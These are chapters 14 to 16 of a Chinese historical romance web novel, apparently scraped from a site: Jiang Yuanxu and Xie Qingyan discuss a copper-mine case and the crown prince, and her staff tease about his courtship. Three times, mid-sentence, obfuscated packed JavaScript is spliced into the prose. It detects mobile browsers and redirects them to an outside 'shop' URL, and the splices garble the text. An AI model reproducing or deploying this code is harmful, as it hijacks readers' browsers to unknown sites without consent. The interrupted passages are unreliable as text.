“谢家是沉寂太久了,以至于大家都忘了谢家的手段。你猜,是姜元序先进宫,还是我先把太子拉下台?” 谢青衍慢慢松开手指,数着周明坤的呼吸,一、二、三、四、五、六、七——手指收拢。 待周明坤的呼吸渐去,松开,一、二、三、四、五、六、七——收拢。 如此循环数次,谢青衍数到七的时间越来越长,终于大发慈悲起身,拿过云齐递来的帕子,仔细擦干净手,让人把神志不清的周明坤带回牢房。 “把周明坤的优待都撤了,阶下囚就要有阶下囚的样子。找人盯紧他,一丝消息都不要漏。” “是。”云齐应声去办。 屋外的知了扯着嗓子喊热,屋内的谢青衍敞着外袍,斜靠在榻上把书翻得哗哗响,云慎不停朝屋外看。 也许是云慎在心里给各路神佛磕头有点用,云齐总算踏着二更的夜色回来了。 “公子,查到了,周明坤给姜姑娘的是周家军的军粮供应资格,宁远郡两百顷地和京郊一座庄子。” “这是截获的信件,全是周明坤写的公子的坏话,没有其他信息,我扣下来了。” 整整三大张纸把谢家上上下下都骂了,云慎缩了缩脖子,小心地觑着公子的脸色,想着一会儿公子要是更生气了,他该求哪路神仙? 云齐冷静分析:“姜姑娘想要的应该是军粮供应,另外两样估计是谈判的时候顺便要的。”和当初坑公子时一个套路。 “至于姜姑娘答应的条件,应该和铜矿案有关。” 谢青衍抬手把信烧了,心中生疑,这两人都闹成这样了,军粮那么重要的事,怎么一个敢给,一个敢接? 云慎看公子愁眉不展,建议道:“我们明天直接去问姜姑娘呗,公子你别信周明坤的,姜姑娘说起太子那嫌弃样,不会为了这点东西答应嫁给太子的。” 云齐附和:“姜姑娘不是糊涂的人,出来时笑得那么开心,明显是用极小的代价换了超乎预料的东西。” 谢青衍心中稍定,明天正好可以借着铜矿案的疑问去找姜元序。 14. 自作多情 姜元序今日的面具依旧是金色的,不同的是只有半张,还是镂空的,堪堪遮住了眼角有疤的小半张脸。 金丝沿着眼睛的轮廓弯成一个半圆,在眼尾蓦然向后折去,绕过耳后,垂下一条细细的金链,大概是姗姗来迟的缘故,她的步子有些急,耳侧的金链一闪一闪的。 “谢大人这个时候来找我,是有什么事吗?”姜元序问。 谢青衍稳稳心神,正经道:“益州的消息还需要几天,我想先找姜姑娘了解一下铜矿案。” “行。”姜元序点头应下,铜矿案也不复杂,几句话的事,正是饭点,人家等了一上午,也不好直接说了就让人走。 “谢大人还没用膳吧,商会食堂的饭食还不错,一起吃点吧。” 谢青衍一路上目不斜视,神情冷峭,以致于没人发现他一直没从恍神中清醒,像个木偶般跟着姜元序一步一个指令,飘飘然的脑海中一个念头越来越清晰——他看到了姜元序的脸。 不同于会客室的安静,还未到食堂门口便能隐隐听到说笑声,女子五颜六色的衣衫格外醒目,云齐一只脚刚跨进门槛,像被烫到一样,马上收了回来。 云慎抵住他的后背,搀着他的胳膊用力把人推进屋子,凑近耳语:“别给公子丢人!”不就是女子多了些,他这些天在外走动,已经习惯了。 云齐暗自叫苦,他从未和如此多的女子同处一室,下意识就想避开,但这里的男男女女掺杂着坐在一起,态度自然,公子也面不改色地和姜姑娘说着什么,他握了握拳,收起别扭,跟上前去。 几人找了角落的桌子落座,附近几张桌子都没人,格外安静些,姜元序和谢青衍坐在最里面。 “谢大人想问什么?” “周明坤说你答应嫁给太子了。” 两人几乎同时说道。 姜元序刚夹了一筷子肉送进嘴里,突然听到这话,有点怀疑自己的耳朵,连咀嚼都忘了。 一脸狐疑的样子像极了橘掌,谢青衍戳了戳眼前的米饭,绷着脸说:“他是那么跟我说的。” 赶紧把嘴里的东西咽下,姜元序的声音有些大:“他得失心疯了?” 不安总算散去一些,谢青衍继续告状:“他还说要宫中下一道旨意,让你不得不嫁给太子。” “哼,他倒是敢。”前脚下圣旨,后脚姜元序就敢让太子暴毙。 她不明白周明坤为何要跟谢青衍胡言乱语,邃问:“你得罪他了?他干嘛这么骗你。” “周明坤又不是什么好玩意儿,得罪他多正常。”谢青衍漫不经心道,绝口不提周明坤是看出他的心思,故意给他添堵。 “那你答应了什么,周明坤那么老实把所有罪都认了。” 姜元序没有隐瞒的意思:“我的人盯着周泰,我答应周明坤把太子从这件事里摘出去。” 谢青衍皱眉:“我以为你想拉下太子。” “我和太子无冤无仇的,干嘛要做这种事。”姜元序不由失笑,“再说了,本来就不是太子幕后主使,我只是一个善良又正义的路人。” 姜元序的坦荡让谢青衍有些气闷:“幕后之人知道你破坏了他的计划,怕是要找你麻烦。” “那就要麻烦谢大人帮我遮掩一下了,就当是钦差找到周泰的,我什么都没做,让我当一个善良正义且无辜的路人。” 姜元序头也不抬,专心吃着饭,铜矿那边全在她的监视下,任何她不想让人知道的消息,都传不出益州。 谢青衍心烦意乱,他这边都准备对付太子了,姜元序却要帮太子。 他故意道:“你如此善良正义且无辜,太子怕是更不愿意放手了,到时候想方设法把你抓进宫里去。” 不明白话题怎么又绕到这儿,姜元序不在意地说:“不是说太子好美色吗,我这个样子哪里值得费心思了?” “哪里不值得了?这长了眼睛的人都能看出你很美。”谢青衍想也不想就反驳。 他说完发现这话有些冒失,只好硬巴巴加上一句:“太子也会这么想的。” 第一日见到姜元序时,她戴着面纱只露出一双眼睛,依旧能看出风姿卓然。今日只戴了小半张面具,露出的面容也是极好的,脸上的疤不仅不损她的美丽,反而给她添了份神秘的色彩。 谢青衍越发焦虑,周明坤有一句话说对了,姜元序不缺男人,没有人会不喜欢她。 姜元序没想到谢青衍如此较真,她不想讨论美不美的问题,一只手撑在桌子中间,起身靠近,对他招了招手,谢青衍了然,俯身贴耳。 姜元序低声和他说:“他要是敢招惹我,我就弄死他。” 揉揉微痒的耳朵,谢青衍忍不住漾出一个轻笑,从昨日起积攒的怨气随之消散,顿觉神清气爽,四周的喧嚣声都变得悦耳起来。 “现在可以不提太子了吗?” 姜元序心累,本来工作就烦,还老提什么嫁不嫁的,晦气不晦气,感觉财运都被影响了。 “行。”谢青衍欣然答应,谁愿意提那晦气玩意儿,既然姜元序只是把太子当筹码,那等她赚完这一笔,他再慢慢筹划对付太子。 “益州这边估计是查不出什么的,所有的证据都指向周明坤。谢大人不如等等京里的消息,或许能找出点眉目。”姜元序说。 谢青衍也是这么想的,要陷害太子的左右不过是哪个王爷,圣上年岁渐长,太子能力不足以服众,一番争斗是无法避免的,所幸姜元序不在京城,他之后也要来江州,京里的纷争与他们无关。 一时间两人无话,只专心地吃饭,过了一会儿,姜元序状似不经意地说:“谢大人昨日截了周明坤传给我的消息。” “啪——” 云慎维持着张口吃饭的动作,筷子磕在碗沿,又落到地上。 “咳——” 云齐一口饭在噎喉咙口,呛得眼睛通红,其实他更想哭,明明做的很隐秘了,为何还是被发现了? 谢青衍心里很慌,浑身僵硬,面上却表现出了前所未有的镇静。 “谢家和周家一向不对付,我昨日又和周明坤起了冲突,便让人格外注意了些。周明坤大概是怕你我合作对付周家,写了些挑拨之语,我便截下来了。” 语气不慌不忙,好似在说一件稀松平常的小事,给的理由也很充分,家族之争,自然不便让其他人知晓。 姜元序假装没看到他们的异样,笑笑说:“原来如此,还当是因为我,惹得谢大人动了那么大的怒气,是我自作多情了。” 时常挂着和煦笑容的唇失去血色,苍白覆盖谢青衍所有的表情,姜元序暗叹,这么不经吓啊。 要知道她昨日听说周明坤出狱审室时半死不活的,也是很震惊的,谢青衍老好人的人设,就这么水灵灵地崩塌了。今天又巴巴等了一上午,正事半句不提,反而扯了一通嫁不嫁的,她就算是个傻子,也该看出不对了。 谢青衍责怪昨日的自己太过大意,反而给姜元序留下冲动易怒的印象,更是摸不准她对狱审室的情况知道多少,想着要不然直接把感情挑明算了,拒绝就拒绝,也没人规定求亲只能求一次,男未婚女未嫁的,这次不成下次继续。 “谢大人不必担心,昨日你和周明坤聊了什么,我是一概不知的。我已得到了想要的,牢房的人手也都撤下来了,接下来的事我不插手,江州府衙从今日起都是您说了算。” 姜元序眼见谢青衍的表情从慌乱变成跃跃欲试,急忙转移话题,她现在不想处理感情问题。 “谢大人不想问问军粮的事吗?” 谢青衍一袭话就这样堵在了嗓子眼,不知该庆幸还是扼腕,叹息道:“你有你的考量,生意一事我也不懂。” “谢大人可能不知道,宁远郡地势平坦,土壤肥沃,河湖众多,夏季温度适宜,降雨量足,完全可以成为不亚于江南地区的粮仓。” 顶着谢青衍不解的目光,姜元序继续说道:“可惜,有周家这样的庞然大物盘踞着,周家军兵强马壮,百姓饥馑流离,白白浪费了如此好的地方。” 谢青衍感觉不对:“宁远郡冬季漫长,只能种一季粮食,如何能和江南的双季稻相比?据我所知,宁远郡每年的粮食产量都是垫底的,若真有你所说的优势,为何会出现这样的情况?” “它不是一直垫底,是近几年才垫底的。”姜元序解释,“原因在于其他地方开始种经过改良的稻种,用上新式的农具,开垦出了很多良田,粮食产量才逐年上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211511|197420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 涨,但这些东西是卖不到宁远郡的。周家不允许其他粮商进去,低价收粮,高价卖粮,人口减少,田地荒废,如今连周家军都要吃不饱了,可见其形势严峻。” “宁远郡广袤的平原若能成为良田,未必不是第二个江南。” “所以军粮供应不过是一份通关文牒,你的目的一开始就是宁远郡。”谢青衍明白了姜元序的深意,蓦地笑了,“要把宁远郡变成江南,周家是绕不过去的坎。” 谢青衍得承认之前的自己是个傻子,竟真认为姜元序为了军粮和周明坤和解了,怪不得昨日笑得那么开心,分明是弄死了周明坤还不忘榨干最后一丝价值。 一份军粮供应资格,不仅撇清了姜元序设计陷害周明坤的事,让周家和太子把周明坤的死归咎于铜矿案的幕后主使,还打开了宁远郡的大门。 一时放过太子又如何,只要太子还是太子,多的是人要对付他,绝对是桩一本万利的生意。 “聪明。”姜元序赞道,她双手垫着下巴,目光灼灼,“所以,合作吗?谢大人。” “我没有拒绝的理由。”谢青衍如实说道。 于公,周家是长在景朝身上的恶疮,尽早除去方是正道;于私,周家的存在,对谢家和姜元序都是阻碍。 饭后,姜元序把谢青衍带上楼,直接给他一摞资料:“这是新州知州的罪证,这个时候揭开,周家肯定鞭长莫及。” “你早就准备好了?”谢青衍不免咋舌。 “宁远郡都是周家一系的官员,我得有个清净的地方,才能安心种田。” “继任的人选呢?” “钦州同知江文,他妻子是商会的管事,他们夫妻档好干活。” 夫妻档三个字听得谢青衍心头一热,他笑着应下:“行。” 这个斩钉截铁的“行”字倒是有点把姜元序弄懵了:“谢大人这就应下了?我打算用空白条件换的。” 谢青衍对她什么都要分清的态度很不满:“本就是合作,罪证是你给的,我就是跑个腿的事,哪里需要空白条件换了。” 原来换个知州在他们世家眼里就是跑个腿的事,不过那么大方的合作伙伴姜元序还是喜欢的,她挂上商业微笑:“合作愉快。” “谢大人没什么事的话先回去吧,我午间需要休息一会儿。” 谢青衍看姜元序脸上确实有不少倦色,想来是为宁远郡一事忙碌,他自己也要去安排新州之事,于是便起身告辞。 姜元序起身相送,云慎有些忸怩地问:“姜姑娘,我想问问,会客室那些话本子你是哪里买的?” 姜元序一时没反应过来:“嗯?” 云慎摸摸鼻子,有些不好意思:“实不相瞒,其中有两本内子很喜欢,她总说那书难买,我想着如果江州有的话就买几本带回去。” “你都成亲了?”姜元序震惊,云慎看着不过十六七的样子,完全一副少年样,没想到已经成亲了。 “你几岁?” “十九。” “英年早婚啊。”姜元序感慨。 她招呼云慎过来,带人到窗边,指着楼下说:“从这条巷子过去,走到头往右拐,有个江州书局,话本子都在二楼,会客室里那些应该都有。” “你既然成亲了,也去看看其他的,那边有如何照顾孕妇产妇的,都是很有经验的老人和大夫写的,你妻子几岁?” 云慎老实回答:“二十六。” 这个年纪倒是挺意外的,姜元序点点头说:“那还行,若是比你年纪还小,生产是很危险的。” “你去找二楼账台后面坐着的伙计,让他给你一本《夫妻生活健康指南》,仔细看看,很多妇人病都是因为这事不注意。” 又转头和谢青衍云齐说:“你们两成亲没?不管成没成亲都去领一本,总用得上的,光看避火图有个屁用,该教的什么都没教。” 三个男人突然明白了夫妻生活的意思,面红耳赤,赶紧把头埋下,不敢看人。 谢青衍张了张嘴想解释,他没有成亲,也没有看避火图,最终还是闭上眼睛闭上嘴,把所有苦往心里咽。 姜元序可以无所顾忌地说这事,说明只把他当人看,没把他当男人看,呜—— 15. 去捞珍珠 三人面色平静地踏入小巷,谢青衍脚步一顿,白色身影倏然掠过身旁,往巷子深处奔去,他抬足便追,青靴点地,衣袂翻飞,空余一阵飒飒的风声扰了午后的安宁。 两人相距不过三尺,云慎自觉找个没人的墙角抱头蹲下,谢青衍抽出那一沓资料,卷了卷朝云慎脑袋抽去—— “让你乱说话!” “就你疼媳妇儿!” “你怎么不想想你家公子!” “丢了那么大人还娶不娶得着媳妇儿!” “……” 云慎欲哭无泪,他可太冤枉了!他就问了个话本子,哪晓得姜姑娘会说那么多啊,谁家未婚的姑娘大大方方和男子说这些,他娘都没跟他说过! 分明是姜姑娘异于常人,公子在人家面前一声不敢吭,只能在他这里逞逞威风。 云慎一双眼睛滴溜溜乱瞥,贼眉鼠眼毫无悔过之意,谢青衍气不打一处来,敲敲敲! “别回京城了!” “我没娶妻,你不准回京城!” 云慎急了,看今天的情况,公子近两年娶妻无望,他必须为自己争辩一二:“公子,呃——” “你还敢跑!” 云齐气喘吁吁,大掌精准落在云慎的后脑勺,云慎往前一扑,抱着谢青衍的腿开始嚎。 “公子!往好处想想,姜姑娘是把你当朋友才说这个啊,这不比合作伙伴更亲。” “你俩现在只能聊公事,如今开了口子,你跟她聊聊话本子,聊着聊着,感情不就水到渠成了吗!你信我,我就是这样娶到媳妇儿的……” 谢青衍要被他的胡言乱语气死了:“闭嘴!大庭广众的,胡说什么!” 好在巷子里没人,周围的屋子也门窗紧闭,应当没人听到,姜元序再大胆也是个姑娘家,被人听到名声还要不要了。 云齐把云慎从谢青衍的腿上扒下来,拧着他的耳朵告诫他闭嘴,附近有没有姜姑娘的眼线还未可知,公子已经够难了,他们不能再拖后腿。 三人沉默良久,蹲着的云慎壮着胆子小声开口:“我们还去书局吗?” 刚平息的怒气瞬间涌了上来,站着的两人不约而同抬脚踹人,云慎摔了个屁股蹲,也没在意,拍拍衣裳站起来,对着没成亲的两人动之以情,晓之以理。 “你们真的得去看看,放眼整个京城,这个年岁还是童子身的,再也找不出第三个人。” 眼看两人又要动怒,云慎急忙后退两步,苦口婆心道:“公子,相信我,贞洁绝对是你胜出其他名门公子最大的优势!” “但你不能真的什么都不懂啊,以前没心思娶妻就算了,现在你有心上人了,是时候好好学学。你该高兴,姜姑娘给你指了一条明路。” “贞洁”二字砸在谢青衍脸上,白皙的面孔青一阵红一阵,他闭了闭眼睛,打定主意回去就把云慎换了。 谢青衍勾勾手指,云慎谨慎地往前挪一小步,忽然听到公子说:“等回去,我给岚心介绍几个精壮的小伙子。” 云慎一下就跪了。 “至于你,去捞珍珠,捞不够一千颗,不准回来!” “公子!公子!我罪不至此啊——”云慎嚎啕大哭。 谢青衍转身就走,云齐幸灾乐祸地哈哈大笑,云慎苦着脸追上去。 楼下空无一人的巷子恢复平静,楼上十几人的议事室爆发一阵狂笑—— “哈哈哈哈哈哈……” 趴在窗边偷听的众人心满意足地回到议事桌坐好,嗓门也大了起来。 “我就说这地方好吧,这么隐秘的消息自己送上门来了!” “十安,那是京里来的谢大人吧,哈哈哈,他是童子这事儿千程查到了吗?” 十安轻笑着摇摇头,她手里拿着的就是千程新调查的结果,谢青衍的家庭、交友、仕途都囊括进去了,但这种秘辛没人能查到,情报人员不可能天天趴人家床底下查消息。 “难怪啊,对周明坤的事那么上心,原来是瞧上姑娘了,他们刚从商会出来吧,也不知道姑娘说什么了。” “还能是什么!他们要去书局,姑娘指定让人去领《夫妻生活健康指南》,心仪的姑娘面不改色说起夫妻生活,京城来的小古董怕是要心碎了。” “你们说,姑娘知道这事吗?” “肯定不知道!”许安宁啪地掰断一支毛笔,笑不可抑,“我说他一个世家公子怎么是个泥人脾气,原来是看上姜元序了。” “姜元序还以为人家天生老实,我的天呐,哈哈哈哈哈,别看姜元序天天跟我们说什么要多见识几个男人才不会被男人骗,她自己压根没长那根筋!” “可不是,姑娘天天在商会办公,接触的人不是女子就是几十岁的老头,眼看着十八岁了,还没谈过一段感情,这谢公子长的倒是好看,用他练练手也未尝不可。” 众人各执一词,一人推推十安的胳膊:“你一直跟着姑娘,说说姑娘是个什么意思。” 十安无奈合上手里的资料:“姑娘是没这个意思,不过,谢大人确实不错。” “哦——!” 拍手的拍手,拍桌子的拍桌子,能得十安一句不错,人品绝对过关了,只看姑娘喜不喜欢。 “好了,说正事。”十安肃整气氛。 “宁远郡粮食商会由冯书同担任主事,姑娘会想办法把江文也调去,接下来几年宁远郡的变动会很多,三分之二的人去宁远郡,剩下的随姑娘去京城。” 许安宁首先提出异议:“京城的事也不容易吧,要不要多去几个?” 十安:“京城原本人就不少,如今有周明坤这神来一笔,是一点危险都没有了,反倒是宁远郡的事来的突然,要不是姑娘实在走不开,她原本是要亲自去的。” “必须用最快的速度布置好宁远郡的消息点,那边毕竟有周家军在,行事不易,如果人手不够,从千程那边调。” 众人一听便明白了姜元序对宁远郡的重视,纷纷表态。 许安宁犹豫半晌,还是说:“我去宁远郡。” 十安有些意外:“不是说要去京城?” 许安宁:“之前是怕姜元序遇到危险,想着我能给她当个护卫,既然京城没什么危险了,那我去也不顶什么用。” 十安:“姑娘的意思是你留在江州也行,你年纪还小,宁远郡的风土和江州截然不同,身体可能会受不了。” “我身体好着呢,”许安宁扬了扬自己的拳头,“姜元序十岁就出门游历了,我十六岁也该出去历练一番。” 她在江州一直受姜元序的庇护,教她打理生意,教她整理情报,如今姜元序有更重要的事情要做,她也该去找找自己的路。 十安也不再劝,只说:“你先跟姑娘说一声。” “暂时先这样,等具体的细节商议好,再通知你们什么时候出发。” 姜元序午休已经起来,正拿着宁远郡的舆图做标记,十安把最新的消息拿给她,她并没有着急看,反而跟十安说:“把百凌叫来。” 正在议事的百凌匆忙赶来,两人侯在桌前等吩咐,姜元序靠在圈椅里,神情冷峻:“谢青衍,什么时候的事?” 两人异口同声道:“第一日。” 百凌惊讶地转头看十安,她一直以为十安没看出来,十安神色如常,最常跟在姑娘身旁的就是她,这点小事都看不出来,她这个大总管也不用干了。 姜元序扶额,脑壳是真有点疼:“那你们不跟我说!” 由着她误会谢青衍是个脾气超好的老实人,早知道是这个原因,还费劲查他干嘛。 十安老实说:“谢大人人不错,姑娘可以试着接触一下。他的资料我看过了,没什么可挑剔的,有钱有权,无不良嗜好,感情经历空白,相貌也足够英俊。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211512|197420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这套相亲味十足的词,雷得姜元序忍不住打了个哆嗦,她一脸惊恐地看着十安,实在想不通她的助手什么时候兼职了媒婆。 十安补充道:“他还是童子身。” “这也能查到?!” 姜元序瞬间坐直身体,目光炽热,她的情报系统已经牛逼到这个程度了吗,连人家床上的私密事也能查到,不愧是她! 这份炽热太明显,一瞧就跟情爱无关,十安只好把中午的事解释了一下。 姜元序蔫了,靠回椅背,嫌弃道:“大街上说这些,不守男德。” 十安心累,果然像许安宁说的没长那根筋,她让百凌先回去继续议事。 提醒道:“有一份特别标注的消息,是云慎的,姑娘先看看吧。” 云慎的大哥云杨是谢老爷的侍从,岚心是王夫人陪嫁嬷嬷的女儿,岚心十六岁嫁给云杨。云杨成婚前人模人样的,成婚后就开始沾花惹草养外室,那些花花草草还特别喜欢在岚心面前晃悠,岚心不想给夫人惹麻烦,一直忍气吞声,直到好不容易盼来的孩子流产,终于受不了提了和离。 和离的过程当然不容易,和所有渣男一样,他开始表演浪子回头了!岚心也单纯,竟然真的信了,结局可想而知,相信渣男能变好,不如相信烤鸡能变回活鸡。 就这样分分合合的拖了三年,越来越疯癫的云杨,心力憔悴的岚心,逐渐长成的云慎,王夫人做主让两人和离,又两年,岚心和云慎成亲,伤人未遂的云杨被发配到庄子里。 姜元序问十安:“岚心,帮王夫人打理京中生意的就是她吧?” 王家管铁,铁矿石要用铁引买,她的兵工厂、农具厂和研究院都需要大量的铁。这些年和王家走得近,不仅是为了多换些铁引,还得鼓动王大人去找矿,现如今的矿,她一个人用都嫌不够。 十安答:“是,千程对她印象很好,她如果不是王家的人,千程肯定要挖墙脚。” “便宜云慎了。”姜元序放下这份资料,拿起谢青衍的。 谢青衍的经历就比较正常了,出身国子学,十六岁考核合格后进入刑部,如今是刑部员外郎。生活单调,上值宅家,三两好友,偶尔相聚,年方二十,尚未议亲,受人追捧,不假辞色。 确实无可挑剔,难得的是思想不迂腐,就拿云慎的事来说,弟弟娶和离的嫂子,传出去总归不好听,他不觉得云慎有错,出手护住两人,一直心无芥蒂地带着云慎。 十安见姜元序无动于衷,又说:“是不错吧,谢大人这样的,不就是标准的优质对象吗。” 姜元序奇怪地问:“你是被收买了吗?怎么今天一直帮他说好话。” “我是觉得姑娘该谈谈恋爱了,出去跟人喝喝茶,游游湖,谈谈情,或者出城跑跑马,放放风筝什么的,你要是不喜欢谢大人,也可以找其他俊俏公子陪你。” 十安非常操心,自从周明坤来了之后,姑娘明显绷着一根弦,最近更是越绷越紧,明明一切事情都在向好处发展,怎么越来越急切了,她真怕哪天姑娘会昏死在书房。 姜元序一个头两个大,怎么到哪里都逃不开恋爱结婚,现代二十五岁催婚,古代十七岁催恋爱,太可怕了。 “我哪有时间啊,那么多事等着呢!” 十安:“公事哪里能忙完的,再说还有我们啊,那么多人又不是吃白饭的,你尽管去玩,我们加班。” “好了好了。”姜元序举手妥协,“我会增加休息时间,但恋爱,太费精力了,得往后排。” “现在,你去传信给冯书同,让她马上动身去新州,先把宁远郡的粮价降下来,马上冬天了,那边日子不好过,耽误不得。” “江文的事谢大人已经答应了,让他等调令。” 十安还想劝,姜元序埋头拒不配合,十安败走,姜元序提笔工作。 万丈高楼平地起,全在一笔一划间。 16. 争个高下 谢青衍接连看了好几本江州的话本子,越看心越凉,没有才子佳人缠绵悱恻的爱情故事,通篇都在教女子不要被感情束缚,要走出自己的人生,女主人公经商、行医、教书、习武,各有各的精彩,男主人公,可有可无。 他问云慎:“岚心也喜欢看这些,怎么就挑了你呢?” “我年轻啊!”云慎一拍胸膛,格外骄傲,“英俊潇洒,单纯善良,说话好听,有本事的女人都喜欢我这样的!” 谢青衍无端被扎了几刀,有气无力地指向门外,“滚——” 云慎麻溜地滚了,他得去外面挑些有趣的东西带回京城。 周明坤大概是觉得自己没几日好活了,越发没有顾忌,往牢房搬了不少酒,每天让人从酒楼定席面,整天醉生梦死,没个清醒的时候。 谢青衍懒得管他,衙门人少,钦差大多去益州了,牢房的地痞身上背了不少案子,很多事情只能他亲自处理。 忙了几日,之前从京城调的人手到江州了。 “钟叔?你怎么亲自来了?”谢青衍很意外。 钟亦笑呵呵地说:“公子刚到江州就传信来调人,老太爷不放心,让我来看看。” 谢青衍当时不清楚姜元序的目的,不想太被动才从京里调了一批人,没想到还是惊动了祖父,不过也正好。 “最近事多,我们人手不够,钟叔先去休息,江州的事让云齐跟你说。” 云齐带人下去安置,钟亦迫不及待地问:“公子什么情况,你怎么让人开了私库,还要带一套头面来江州。” 云齐抿了下唇,有些心虚:“这事,老太爷也知道了?” “能不知道吗!”钟亦生气,年轻人办事一点也不周到。 “你指定要那副蓝宝石珍珠头面,这东西放在公子的聘礼里,也是压箱底的,你三言两语的就要带到江州,谁敢动?可不得惊动老太爷。” “那带来了吗!”云齐急道,没几日就是姜姑娘的生辰,临时买哪里能买到好东西。 钟亦不答,他对江州的情况一无所知,得先问清楚,“你先和我说说,公子这边是什么情况?” “还能是什么,公子瞧上一姑娘,过几日就是那姑娘生辰。” 云齐顾不上规矩,急问:“钟叔,你快说带没带!要是没带,我现在就得出门寻摸份像样的礼。” 难得见云齐如此急切的样子,钟亦越发好奇:“算算传信的时间,公子到江州不过一两日,就算有些苗头,你怎么就敢拿那么贵重的礼?还只是生辰,不是定亲。” “你不知道,那姑娘富贵,寻常的礼哪里拿得出手,我当时也是想着有备无患,先把东西拿来,再看公子要不要送。” 钟亦眯着眼睛,琢磨出些意思:“看你这架势,公子是铁定要送了?” “可不是!钟叔,你一会儿再问,先说带没带!”云齐抱着钟亦的胳膊,势必要问出一个答案。 钟亦皱着眉头撇开他的手,没好气道:“带了。” “不光带了蓝宝石的,还带了两套其他的,夫人挑了不少稀罕东西。送姑娘的礼讲究多着呢,不是贵重就行,老太爷让我过来看着点,你们年轻人一点规矩都不懂。” 云齐舒了一口气,只要东西带了就行。 钟亦继续问:“你跟我仔细说说,那姑娘哪家的,年岁几何,是个什么性子,公子是怎么打算的?” “这……我不太好说。”云齐讪笑着说。 姜姑娘的情况单拎出来看,孤女、商户、性格张扬、面容有瑕,没有一条符合谢家选媳条件的。 钟亦不说话,目光锐利,云齐下意识打个哆嗦,硬着头皮道:“这两天估计就能见到,要不您自己看?” “说实话!”钟亦拍桌,语气严厉,躲躲闪闪的,这姑娘怕是有什么不好的。 云齐逃不过,挑了点能说的实话:“人家姑娘没看上咱们公子,公子打算调到江州,徐徐图之。” 饶是钟亦来江州的这一路,设想了无数种情况,也没料到是这个发展,谢家没娶成新妇,反倒把公子赔出去了。 他搓了搓布满沧桑的脸,艰难道:“这姑娘是个天仙?还是已经有了心仪的公子?” “容貌是姜姑娘身上最不值得一提的地方。”云齐很懂春秋笔法,“钟叔,姜姑娘如何,我真的没法和你形容,你得自己去看,看了就什么都明白了。” “现在当务之急是处理好周明坤的事,我还要去帮公子审讯,您先休息,我晚点再过来。” 云齐几乎是跑着离开,他第一时间告诉公子,因为他的失误,家里已经知道姜姑娘的事。 “生辰?是什么时候?”谢青衍之前并不知道这件事。 云齐:“七月二十七,姜姑娘户籍上写的日子。” 谢青衍露出一个笑,很满意云齐的做法:“那快了,还是你细心,不然这会儿真来不及准备。家里迟早要知道的,祖父和母亲既然让人送了东西过来,想必也是支持我的。” “这段时日你看着点钟叔,别让他出去瞎打听,时刻牢记这是江州!” 云齐心有戚戚,可不得牢记这是江州,但凡和姜姑娘沾边的,都逃不过人家的眼睛。 云慎从外面溜达回来,迎面对上钟叔严肃的脸,呲开的牙瞬间紧闭,乱跳的脚也规矩起来,老老实实打招呼。 钟亦见惯他没规没矩的样,这时候也顾不上教人规矩,一个劲儿地打听公子看上的那位姑娘,云慎哪敢透露姜姑娘的情况。 “叔,这八字没一撇的事儿,人家姑娘的情况我哪里好跟你说的。她和公子能不能成还两说,我要是跟您胡咧咧,不是坏了人家姑娘的清白吗。” 钟亦很想捂着胸口昏一昏,究竟是何等人物,让他们家芝兰玉树的公子一眼相中,不仅没有感恩戴德反而弃公子如敝履。 云慎回去和云齐对口供,很满意自己的表现,谢青衍觉得这样不行,一合计,隔天就拿了一摞卷宗让钟叔整理,忙点好,忙了就没时间到处问了。 这日,姜元序总算收到了铜矿案的后续。 撺掇周明坤侵占东桥头村的地的人,是益州一个姓苗的乡绅。他通过这个事情搭上周家的线,进京入了太子的眼,一举成为富商,一直为太子做事。 钦差出京一段时间后,他偷摸和太子说了周明坤在益州偷采铜矿的事,太子一边派出人手前往益州查明真伪,一边把人看守在别院。 五天后,他的好友拿着铜矿的证据敲响了登闻鼓,告太子杀人灭口,大理寺官员到太子别院时,他已经死了,溺毙在荷花池中,费了些许功夫才找到的尸体。 所有证据都指向太子,太子被禁足,新一批钦差已经前往益州。 千程着重查了这个富商,发现他的发家之路背后有些陈家的影子,而陈家是安王的母家,也是姜元序的大客户之一。 陈家管盐,她从陈家手上换过不少盐引,和周家一样,也是个不差钱的主儿。 安王应该是动手布了苗乡绅这步棋,大概率背后还有一只真正的黄雀,等着把蝉和螳螂一网打尽。。 隔了一日,谢青衍也收到了京城的消息,立马放下手头的案子去商会找姜元序。 姜元序第一次在谢青衍身边见到新面孔,也没在意,她虽然撤了牢房的人手,府衙却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“再者,以那人行事的周密程度,完全可以用铜锭的去向再布一条线,在这趟浑水里再拉进一个王爷,但他没有,他自己拿了钱,如此烫手的钱也敢拿,只能是缺钱。” “那只是个铜矿啊,不是金矿,一年产出不会超过十万两白银,才十万。” 姜元序问他:“谢大人,你会为了十万两冒那么大的风险吗?” “当然不会。” “那不就行了,安王比你还有钱呢,十万两都不够他一年花的。” 谢青衍感觉自己被看轻了:“安王怎么就比我有钱了?安王的外祖陈家是有钱,但我出身谢家,外祖又是王家,明显我更胜一筹。” “你俩以前是差不多,或者你更有钱一点,但安王不是娶了卢家的女儿吗,加上夫妻共同财产,肯定他更有钱。”姜元序实话实说。 